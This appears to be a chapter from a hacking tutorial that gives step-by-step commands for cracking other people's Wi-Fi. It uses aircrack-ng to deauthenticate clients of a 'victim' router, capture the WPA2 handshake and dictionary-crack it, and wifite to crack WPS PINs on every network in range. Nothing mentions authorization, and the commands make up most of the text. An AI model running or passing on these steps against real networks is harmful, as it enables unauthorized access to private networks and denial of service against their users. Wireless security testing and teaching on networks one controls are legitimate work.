14. Hacking Wireless Networks

Practical 1: Cracking WPA2 passwords using aircrack-ng in Kali Linux

You need an external wireless adapter to perform this activities. Alfa wireless adapters are highly recommended for this. Using your laptop integrated Wi-Fi can be dangerous.

1. Make sure to put your wireless interface down. Enter command in following syntax:

```
ifconfig <interface> down
```

For example:

```
ifconfig wlan0 down
```

2. Start the monitoring mode by using airmon-ng command:

```
airmon-ng start wlan0
```

3. Scan for available Wi-Fi networks in your area using airodump-ng:

```
airodump-ng wlan0mon
```

4. On your victim's Wi-Fi start monitoring using airodump-ng:

```
airodump-ng wlan0mon –bssid <MAC address of victim router> -c <channel no> -w <Location and name of file>
```

5. Start DOS attack on some connected device using aireplay-ng:

```
aireplay-ng wlan0mon -0 5 -a <MAC address of victim router> -c <MAC address of any client>
```

6. Once you get handshake, hit ctrl+c to stop monitoring, And now we need to crack the captured password.

7. Crack the password via dictionary attack using aircrack-ng:

```
aircrack-ng <Location and name of capture file> -w <Location and name of dictionary file>
```

Practical 2: Cracking passwords using wifite in Kali Linux

You need an external wireless adapter to perform this activities. Alfa wireless adapters are highly recommended for this. Using your laptop integrated Wi-Fi can be dangerous.

1. In Kali Linux terminal enter following command:

```
wifite –-wps
```

This is will detect and list all Wi-Fi networks in your area which has wps enabled.

2. Once you get the list then you can provide the serial number of the target Wi-Fi or you can also enter “all” to start cracking them.

3. wifite will start multiple techniques of cracking wps pin. It may take some time.

4. Once it is able to get the password, it will be printed on screen n plain text.